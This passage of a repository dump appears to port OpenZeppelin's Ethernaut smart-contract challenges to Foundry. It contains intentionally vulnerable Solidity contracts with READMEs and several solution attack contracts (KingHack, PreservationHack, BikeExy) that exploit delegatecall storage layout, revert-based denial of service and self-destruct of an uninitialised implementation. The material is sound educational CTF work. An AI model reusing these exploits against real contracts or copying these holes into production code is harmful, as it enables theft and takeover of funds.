Foundry 14 | 15 | ``` 16 | forge test --match-contract GatekeeperTwoTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/GatekeeperTwo.png?raw=true) -------------------------------------------------------------------------------- /src/King/King.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | contract King { 6 | 7 | address payable king; 8 | uint public prize; 9 | address payable public owner; 10 | 11 | constructor() public payable { 12 | owner = payable(msg.sender); // Type issue, must be payable address 13 | king = payable(msg.sender); // Type issue, must be payable address 14 | prize = msg.value; 15 | } 16 | 17 | receive() external payable { 18 | require(msg.value >= prize || msg.sender == owner); 19 | king.transfer(msg.value); 20 | king = payable(msg.sender); // Type issue, must be payable address 21 | prize = msg.value; 22 | } 23 | 24 | function _king() public view returns (address payable) { 25 | return king; 26 | } 27 | } -------------------------------------------------------------------------------- /src/King/KingFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './King.sol'; 7 | 8 | contract KingFactory is Level { 9 | 10 | uint public insertCoin = 1 ether; 11 | 12 | function createInstance(address _player) override public payable returns (address) { 13 | _player; 14 | require(msg.value >= insertCoin); 15 | return address((new King){value: msg.value}()); // .value is deprecataed 16 | } 17 | 18 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 19 | _player; 20 | King instance = King(_instance); 21 | (bool result,) = address(instance).call{value: 0 wei}(""); // .value is deprecataed 22 | !result; 23 | return instance._king() != address(this); 24 | } 25 | 26 | receive() external payable {} 27 | 28 | } -------------------------------------------------------------------------------- /src/King/KingHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | interface IKing { 6 | function changeOwner(address _owner) external; 7 | } 8 | 9 | contract KingHack { 10 | IKing public challenge; 11 | 12 | constructor(address challengeAddress) { 13 | challenge = IKing(challengeAddress); 14 | } 15 | 16 | function attack() external payable { 17 | (bool success, ) = payable(address(challenge)).call{value: msg.value}(""); 18 | require(success, "External call failed"); 19 | } 20 | 21 | receive() external payable { 22 | require(false, "I am King forever!"); 23 | } 24 | } -------------------------------------------------------------------------------- /src/King/README.md: -------------------------------------------------------------------------------- 1 | # 8. King 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-9-king-walkthrough-how-bad-contracts-can-abuse-withdrawals-db12754f359b 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract KingTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/King.png?raw=true) -------------------------------------------------------------------------------- /src/MagicNum/MagicNum.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract MagicNum { 5 | 6 | address public solver; 7 | 8 | constructor() public {} 9 | 10 | function setSolver(address _solver) public { 11 | solver = _solver; 12 | } 13 | 14 | /* 15 | ____________/\\\_______/\\\\\\\\\_____ 16 | __________/\\\\\_____/\\\///////\\\___ 17 | ________/\\\/\\\____\///______\//\\\__ 18 | ______/\\\/\/\\\______________/\\\/___ 19 | ____/\\\/__\/\\\___________/\\\//_____ 20 | __/\\\\\\\\\\\\\\\\_____/\\\//________ 21 | _\///////////\\\//____/\\\/___________ 22 | ___________\/\\\_____/\\\\\\\\\\\\\\\_ 23 | ___________\///_____\///////////////__ 24 | */ 25 | } 26 | -------------------------------------------------------------------------------- /src/MagicNum/MagicNumFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import "./MagicNum.sol"; 6 | import "../BaseLevel.sol"; 7 | 8 | interface Solver { 9 | function whatIsTheMeaningOfLife() external view returns (bytes32); 10 | } 11 | 12 | contract MagicNumFactory is Level { 13 | 14 | function createInstance(address) override public payable returns (address) { 15 | return address(new MagicNum()); 16 | } 17 | 18 | function validateInstance(address payable _instance, address) override public returns (bool) { 19 | 20 | // Retrieve the instance. 21 | MagicNum instance = MagicNum(_instance); 22 | 23 | // Retrieve the solver from the instance. 24 | Solver solver = Solver(instance.solver()); 25 | 26 | // Query the solver for the magic number. 27 | bytes32 magic = solver.whatIsTheMeaningOfLife(); 28 | if(magic != 0x000000000000000000000000000000000000000000000000000000000000002a) return false; 29 | 30 | // Require the solver to have at most 10 opcodes. 31 | uint256 size; 32 | assembly { 33 | size := extcodesize(solver) 34 | } 35 | if(size > 10) return false; 36 | 37 | return true; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/MagicNum/README.md: -------------------------------------------------------------------------------- 1 | # 18. MagicNumber 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x200d3d9Ac7bFd556057224e7aEB4161fED5608D0 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract MagicNumTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/MagicNum.png?raw=true) 20 | -------------------------------------------------------------------------------- /src/Motorbike/Motorbike.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import "openzeppelin-contracts/contracts/utils/Address.sol"; 6 | import "openzeppelin-contracts/contracts/proxy/utils/Initializable.sol"; 7 | 8 | contract Motorbike { 9 | // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 10 | bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; 11 | 12 | struct AddressSlot { 13 | address value; 14 | } 15 | 16 | // Initializes the upgradeable proxy with an initial implementation specified by `_logic`. 17 | constructor(address _logic) { 18 | require(Address.isContract(_logic), "ERC1967: new implementation is not a contract"); 19 | _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic; 20 | (bool success,) = _logic.delegatecall( 21 | abi.encodeWithSignature("initialize()") 22 | ); 23 | require(success, "Call failed"); 24 | } 25 | 26 | // Delegates the current call to `implementation`. 27 | function _delegate(address implementation) internal virtual { 28 | // solhint-disable-next-line no-inline-assembly 29 | assembly { 30 | calldatacopy(0, 0, calldatasize()) 31 | let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) 32 | returndatacopy(0, 0, returndatasize()) 33 | switch result 34 | case 0 { revert(0, returndatasize()) } 35 | default { return(0, returndatasize()) } 36 | } 37 | } 38 | 39 | // Fallback function that delegates calls to the address returned by `_implementation()`. 40 | // Will run if no other function in the contract matches the call data 41 | fallback () external payable virtual { 42 | _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value); 43 | } 44 | 45 | // Returns an `AddressSlot` with member `value` located at `slot`. 46 | function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { 47 | assembly { 48 | r.slot := slot 49 | } 50 | } 51 | } 52 | 53 | contract Engine is Initializable { 54 | // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 55 | bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; 56 | 57 | address public upgrader; 58 | uint256 public horsePower; 59 | 60 | struct AddressSlot { 61 | address value; 62 | } 63 | 64 | function initialize() external initializer { 65 | horsePower = 1000; 66 | upgrader = msg.sender; 67 | } 68 | 69 | // Upgrade the implementation of the proxy to `newImplementation` 70 | // subsequently execute the function call 71 | function upgradeToAndCall(address newImplementation, bytes memory data) external payable { 72 | _authorizeUpgrade(); 73 | _upgradeToAndCall(newImplementation, data); 74 | } 75 | 76 | // Restrict to upgrader role 77 | function _authorizeUpgrade() internal view { 78 | require(msg.sender == upgrader, "Can't upgrade"); 79 | } 80 | 81 | // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. 82 | function _upgradeToAndCall( 83 | address newImplementation, 84 | bytes memory data 85 | ) internal { 86 | // Initial upgrade and setup call 87 | _setImplementation(newImplementation); 88 | if (data.length > 0) { 89 | (bool success,) = newImplementation.delegatecall(data); 90 | require(success, "Call failed"); 91 | } 92 | } 93 | 94 | event Returny(uint256 ); 95 | 96 | function greetMe() public { 97 | emit Returny(0x42); 98 | } 99 | 100 | // Stores a new address in the EIP1967 implementation slot. 101 | function _setImplementation(address newImplementation) private { 102 | require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); 103 | 104 | AddressSlot storage r; 105 | assembly { 106 | r.slot := _IMPLEMENTATION_SLOT 107 | } 108 | r.value = newImplementation; 109 | } 110 | } 111 | 112 | 113 | 114 | contract BikeExy { 115 | function initialize() external { 116 | selfdestruct(payable(msg.sender)); 117 | } 118 | } -------------------------------------------------------------------------------- /src/Motorbike/README.md: -------------------------------------------------------------------------------- 1 | # 25. Motorbike 2 | 3 | **NOTE** - Because of the way foundry test work it is very hard to verify this test was successful, Selfdestruct is a substate (see pg 8 https://ethereum.github.io/yellowpaper/paper.pdf). This means it gets executed at the end of a transaction, a single test is a single transaction. This means we can call selfdestruct on the engine contract at the start of the test but we will continue to be allowed to call all other contract function for the duration of that transaction (test) since the selfdestruct execution only happy at the end 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x78e23A3881e385465F19c1a03E2F9fFEBdAD6045 8 | 9 | ## Walkthrough 10 | 11 | https://www.youtube.com/watch?v=WdiCzB3zjy0&t=297s&ab_channel=Digibard 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract MotorbikeTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Motorbike.png?raw=true) -------------------------------------------------------------------------------- /src/NaughtCoin/NaughtCoin.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | import 'openzeppelin-contracts/contracts/token/ERC20/ERC20.sol'; 5 | 6 | contract NaughtCoin is ERC20 { 7 | 8 | // string public constant name = 'NaughtCoin'; 9 | // string public constant symbol = '0x0'; 10 | // uint public constant decimals = 18; 11 | uint public timeLock = block.timestamp + 10 * 365 days; 12 | uint256 public INITIAL_SUPPLY; 13 | address public player; 14 | 15 | constructor(address _player) 16 | ERC20('NaughtCoin', '0x0') 17 | public { 18 | player = _player; 19 | INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); 20 | // _totalSupply = INITIAL_SUPPLY; 21 | // _balances[player] = INITIAL_SUPPLY; 22 | _mint(player, INITIAL_SUPPLY); 23 | emit Transfer(address(0), player, INITIAL_SUPPLY); 24 | } 25 | 26 | function transfer(address _to, uint256 _value) override public lockTokens returns(bool) { 27 | super.transfer(_to, _value); 28 | } 29 | 30 | // Prevent the initial owner from transferring tokens until the timelock has passed 31 | modifier lockTokens() { 32 | if (msg.sender == player) { 33 | require(block.timestamp > timeLock); 34 | _; 35 | } else { 36 | _; 37 | } 38 | } 39 | } -------------------------------------------------------------------------------- /src/NaughtCoin/NaughtCoinFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './NaughtCoin.sol'; 7 | 8 | contract NaughtCoinFactory is Level { 9 | 10 | function createInstance(address _player) override public payable returns (address) { 11 | return address(new NaughtCoin(_player)); 12 | } 13 | 14 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 15 | NaughtCoin instance = NaughtCoin(_instance); 16 | return instance.balanceOf(_player) == 0; 17 | } 18 | } -------------------------------------------------------------------------------- /src/NaughtCoin/README.md: -------------------------------------------------------------------------------- 1 | # 15. NaughtCoin 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x096bb5e93a204BfD701502EB6EF266a950217218 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-15-naught-coin-walkthrough-how-to-abuse-erc20-tokens-and-bad-icos-6668b856a176 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract NaughtCoinTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/NaughtCoin.png?raw=true) -------------------------------------------------------------------------------- /src/Preservation/Preservation.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Preservation { 5 | 6 | // public library contracts 7 | address public timeZone1Library; 8 | address public timeZone2Library; 9 | address public owner; 10 | uint storedTime; 11 | // Sets the function signature for delegatecall 12 | bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); 13 | 14 | constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { 15 | timeZone1Library = _timeZone1LibraryAddress; 16 | timeZone2Library = _timeZone2LibraryAddress; 17 | owner = msg.sender; 18 | } 19 | 20 | // set the time for timezone 1 21 | function setFirstTime(uint _timeStamp) public { 22 | timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); 23 | } 24 | 25 | // set the time for timezone 2 26 | function setSecondTime(uint _timeStamp) public { 27 | timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); 28 | } 29 | } 30 | 31 | // Simple library contract to set the time 32 | contract LibraryContract { 33 | 34 | // stores a timestamp 35 | uint storedTime; 36 | 37 | function setTime(uint _time) public { 38 | storedTime = _time; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/Preservation/PreservationFactory.sol: -------------------------------------------------------------------------------- 1 | 2 | // SPDX-License-Identifier: MIT 3 | 4 | pragma solidity ^0.8.10; 5 | 6 | import '../BaseLevel.sol'; 7 | import './Preservation.sol'; 8 | 9 | contract PreservationFactory is Level { 10 | 11 | address timeZone1LibraryAddress; 12 | address timeZone2LibraryAddress; 13 | 14 | constructor() public { 15 | timeZone1LibraryAddress = address(new LibraryContract()); 16 | timeZone2LibraryAddress = address(new LibraryContract()); 17 | } 18 | 19 | function createInstance(address _player) override public payable returns (address) { 20 | _player; 21 | return address(new Preservation(timeZone1LibraryAddress, timeZone2LibraryAddress)); 22 | } 23 | 24 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 25 | Preservation preservation = Preservation(_instance); 26 | return preservation.owner() == _player; 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /src/Preservation/PreservationHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | interface IPreservation { 6 | function setFirstTime(uint256) external; 7 | } 8 | 9 | contract PreservationHack { 10 | // Same storage layout as contract to be attacked 11 | address public timeZone1Library; 12 | address public timeZone2Library; 13 | address public owner; 14 | uint storedTime; 15 | 16 | IPreservation public challenge; 17 | 18 | constructor(address challengeAddress) { 19 | challenge = IPreservation(challengeAddress); 20 | } 21 | 22 | function setTime(uint256 _addr) external { 23 | owner = address(uint160(_addr)); 24 | } 25 | 26 | function attack() external { 27 | challenge.setFirstTime(uint256(uint160(address(this)))); 28 | challenge.setFirstTime(uint256(uint160(msg.sender))); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/Preservation/README.md: -------------------------------------------------------------------------------- 1 | # 16. Preservation 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-16-preservation-walkthrough-how-to-inject-malicious-contracts-with-delegatecall-81e071f98a12 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract PreservationTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Preservation.png?raw=true) 20 | -------------------------------------------------------------------------------- /src/Privacy/Privacy.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | contract Privacy { 6 | 7 | bool public locked = true; 8 | uint256 public ID = block.timestamp; 9 | uint8 private flattening = 10; 10 | uint8 private denomination = 255; 11 | uint16 private awkwardness = uint16(block.timestamp); // now is deprecated use block.timestamp instead 12 | bytes32[3] private data; 13 | 14 | constructor(bytes32[3] memory _data) public { 15 | data = _data; 16 | } 17 | 18 | function unlock(bytes16 _key) public { 19 | require(_key == bytes16(data[2])); 20 | locked = false; 21 | } 22 | 23 | /* 24 | A bunch of super advanced solidity algorithms... 25 | 26 | ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` 27 | .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., 28 | *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ 29 | `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) 30 | ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU 31 | */ 32 | } -------------------------------------------------------------------------------- /src/Privacy/PrivacyFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Privacy.sol'; 7 | 8 | contract PrivacyFactory is Level { 9 | 10 | function createInstance(address) override public payable returns (address) { 11 | bytes32[3] memory data; 12 | data[0] = keccak256(abi.encodePacked(tx.origin,"0")); 13 | data[1] = keccak256(abi.encodePacked(tx.origin,"1")); 14 | data[2] = keccak256(abi.encodePacked(tx.origin,"2")); 15 | Privacy instance = new Privacy(data); 16 | return address(instance); 17 | } 18 | 19 | function validateInstance(address payable _instance, address) override public returns (bool) { 20 | Privacy instance = Privacy(_instance); 21 | return instance.locked() == false; 22 | } 23 | } -------------------------------------------------------------------------------- /src/Privacy/README.md: -------------------------------------------------------------------------------- 1 | # 12. Privacy 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x11343d543778213221516D004ED82C45C3c8788B 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-12-privacy-walkthrough-how-ethereum-optimizes-storage-to-save-space-and-be-less-c9b01ec6adb6 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract PrivacyTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Privacy.png?raw=true) -------------------------------------------------------------------------------- /src/PuzzleWallet/PuzzleWallet.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | pragma experimental ABIEncoderV2; 4 | 5 | import "openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; 6 | import "./openzeppelin/UpgradeableProxy.sol"; 7 | 8 | contract PuzzleProxy is UpgradeableProxy { 9 | address public pendingAdmin; 10 | address public admin; 11 | 12 | constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public { 13 | admin = _admin; 14 | } 15 | 16 | modifier onlyAdmin { 17 | require(msg.sender == admin, "Caller is not the admin"); 18 | _; 19 | } 20 | 21 | function proposeNewAdmin(address _newAdmin) external { 22 | pendingAdmin = _newAdmin; 23 | } 24 | 25 | function approveNewAdmin(address _expectedAdmin) external onlyAdmin { 26 | require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin"); 27 | admin = pendingAdmin; 28 | } 29 | 30 | function upgradeTo(address _newImplementation) external onlyAdmin { 31 | _upgradeTo(_newImplementation); 32 | } 33 | } 34 | 35 | contract PuzzleWallet { 36 | using SafeMath for uint256; 37 | address public owner; 38 | uint256 public maxBalance; 39 | mapping(address => bool) public whitelisted; 40 | mapping(address => uint256) public balances; 41 | 42 | event Amount(uint256); 43 | 44 | function init(uint256 _maxBalance) public { 45 | require(maxBalance == 0, "Already initialized"); 46 | maxBalance = _maxBalance; 47 | owner = msg.sender; 48 | } 49 | 50 | modifier onlyWhitelisted { 51 | require(whitelisted[msg.sender], "Not whitelisted"); 52 | _; 53 | } 54 | 55 | function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { 56 | require(address(this).balance == 0, "Contract balance is not 0"); 57 | maxBalance = _maxBalance; 58 | } 59 | 60 | function addToWhitelist(address addr) external { 61 | require(msg.sender == owner, "Not the owner"); 62 | whitelisted[addr] = true; 63 | } 64 | 65 | function deposit() external payable onlyWhitelisted { 66 | emit Amount(msg.value); 67 | require(address(this).balance <= maxBalance, "Max balance reached"); 68 | balances[msg.sender] += msg.value; 69 | } 70 | 71 | function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { 72 | require(balances[msg.sender] >= value, "Insufficient balance"); 73 | balances[msg.sender] = balances[msg.sender].sub(value); 74 | (bool success, ) = to.call{ value: value }(data); 75 | require(success, "Execution failed"); 76 | } 77 | 78 | function multicall(bytes[] calldata data) external payable onlyWhitelisted { 79 | bool depositCalled = false; 80 | emit Amount(msg.value); 81 | for (uint256 i = 0; i < data.length; i++) { 82 | bytes memory _data = data[i]; 83 | bytes4 selector; 84 | assembly { 85 | selector := mload(add(_data, 32)) // why is _data + 32 the memory location for the selector 86 | } 87 | if (selector == this.deposit.selector) { 88 | require(!depositCalled, "Deposit can only be called once"); 89 | // Protect against reusing msg.value 90 | depositCalled = true; 91 | } 92 | (bool success, ) = address(this).delegatecall(data[i]); 93 | // require(success, "Error while delegating call"); 94 | } 95 | } 96 | } -------------------------------------------------------------------------------- /src/PuzzleWallet/PuzzleWalletFactory.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | // SPDX-License-Identifier: MIT 4 | 5 | pragma solidity ^0.8.10; 6 | 7 | import "./PuzzleWallet.sol"; 8 | 9 | contract PuzzleWalletFactory { 10 | event NewWallet(address indexed wallet); 11 | 12 | /** 13 | * @dev Creates and initializes a PuzzleWallet instance 14 | */ 15 | function createInstance() public payable returns (address proxy, address instance) { 16 | require(msg.value == 1 ether, "Must send 1 ETH to create instance"); 17 | 18 | // deploy the PuzzleWallet logic 19 | PuzzleWallet walletLogic = new PuzzleWallet(); 20 | 21 | // deploy proxy and initialize implementation contract 22 | bytes memory data = abi.encodeWithSelector( 23 | PuzzleWallet.init.selector, 24 | 100 ether 25 | ); 26 | PuzzleProxy proxy = new PuzzleProxy( 27 | address(this), 28 | address(walletLogic), 29 | data 30 | ); 31 | PuzzleWallet instance = PuzzleWallet(address(proxy)); 32 | 33 | // whitelist this contract to allow it to deposit ETH 34 | instance.addToWhitelist(address(this)); 35 | instance.deposit{value: msg.value}(); 36 | 37 | emit NewWallet(address(proxy)); 38 | return (address(proxy), address(instance)); 39 | } 40 | } -------------------------------------------------------------------------------- /src/PuzzleWallet/README.md: -------------------------------------------------------------------------------- 1 | # 24. PuzzleWallet 2 | 3 | **NOTE** - This level required some alterations such as including a old version of the openzepplin library within the folder, the principals of the task remain the same. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0xe13a4a46C346154C41360AAe7f070943F67743c9 8 | 9 | ## Walkthrough 10 | 11 | https://github.com/maAPPsDEV/puzzle-wallet-attack/blob/main/README.md 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract PuzzleWalletTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/PuzzleWallet.png?raw=true) -------------------------------------------------------------------------------- /src/PuzzleWallet/openzeppelin/Address.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | /** 6 | * @dev Collection of functions related to the address type 7 | */ 8 | library Address { 9 | /** 10 | * @dev Returns true if `account` is a contract. 11 | * 12 | * [IMPORTANT] 13 | * ==== 14 | * It is unsafe to assume that an address for which this function returns 15 | * false is an externally-owned account (EOA) and not a contract. 16 | * 17 | * Among others, `isContract` will return false for the following 18 | * types of addresses: 19 | * 20 | * - an externally-owned account 21 | * - a contract in construction 22 | * - an address where a contract will be created 23 | * - an address where a contract lived, but was destroyed 24 | * ==== 25 | */ 26 | function isContract(address account) internal view returns (bool) { 27 | // This method relies in extcodesize, which returns 0 for contracts in 28 | // construction, since the code is only stored at the end of the 29 | // constructor execution. 30 | 31 | uint256 size; 32 | // solhint-disable-next-line no-inline-assembly 33 | assembly { size := extcodesize(account) } 34 | return size > 0; 35 | } 36 | 37 | /** 38 | * @dev Replacement for Solidity's `transfer`: sends `amount` wei to 39 | * `recipient`, forwarding all available gas and reverting on errors. 40 | * 41 | * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost 42 | * of certain opcodes, possibly making contracts go over the 2300 gas limit 43 | * imposed by `transfer`, making them unable to receive funds via 44 | * `transfer`. {sendValue} removes this limitation. 45 | * 46 | * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. 47 | * 48 | * IMPORTANT: because control is transferred to `recipient`, care must be 49 | * taken to not create reentrancy vulnerabilities. Consider using 50 | * {ReentrancyGuard} or the 51 | * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. 52 | */ 53 | function sendValue(address payable recipient, uint256 amount) internal { 54 | require(address(this).balance >= amount, "Address: insufficient balance"); 55 | 56 | // solhint-disable-next-line avoid-low-level-calls, avoid-call-value 57 | (bool success, ) = recipient.call{ value: amount }(""); 58 | require(success, "Address: unable to send value, recipient may have reverted"); 59 | } 60 | 61 | /** 62 | * @dev Performs a Solidity function call using a low level `call`. A 63 | * plain`call` is an unsafe replacement for a function call: use this 64 | * function instead. 65 | * 66 | * If `target` reverts with a revert reason, it is bubbled up by this 67 | * function (like regular Solidity function calls). 68 | * 69 | * Returns the raw returned data. To convert to the expected return value, 70 | * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. 71 | * 72 | * Requirements: 73 | * 74 | * - `target` must be a contract. 75 | * - calling `target` with `data` must not revert. 76 | * 77 | * _Available since v3.1._ 78 | */ 79 | function functionCall(address target, bytes memory data) internal returns (bytes memory) { 80 | return functionCall(target, data, "Address: low-level call failed"); 81 | } 82 | 83 | /** 84 | * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with 85 | * `errorMessage` as a fallback revert reason when `target` reverts. 86 | * 87 | * _Available since v3.1._ 88 | */ 89 | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { 90 | return _functionCallWithValue(target, data, 0, errorMessage); 91 | } 92 | 93 | /** 94 | * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], 95 | * but also transferring `value` wei to `target`. 96 | * 97 | * Requirements: 98 | * 99 | * - the calling contract must have an ETH balance of at least `value`. 100 | * - the called Solidity function must be `payable`. 101 | * 102 | * _Available since v3.1._ 103 | */ 104 | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { 105 | return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); 106 | } 107 | 108 | /** 109 | * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but 110 | * with `errorMessage` as a fallback revert reason when `target` reverts. 111 | * 112 | * _Available since v3.1._ 113 | */ 114 | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { 115 | require(address(this).balance >= value, "Address: insufficient balance for call"); 116 | return _functionCallWithValue(target, data, value, errorMessage); 117 | } 118 | 119 | function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { 120 | require(isContract(target), "Address: call to non-contract"); 121 | 122 | // solhint-disable-next-line avoid-low-level-calls 123 | (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); 124 | if (success) { 125 | return returndata; 126 | } else { 127 | // Look for revert reason and bubble it up if present 128 | if (returndata.length > 0) { 129 | // The easiest way to bubble the revert reason is using memory via assembly 130 | 131 | // solhint-disable-next-line no-inline-assembly 132 | assembly { 133 | let returndata_size := mload(returndata) 134 | revert(add(32, returndata), returndata_size) 135 | } 136 | } else { 137 | revert(errorMessage); 138 | } 139 | } 140 | } 141 | } -------------------------------------------------------------------------------- /src/PuzzleWallet/openzeppelin/Proxy.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 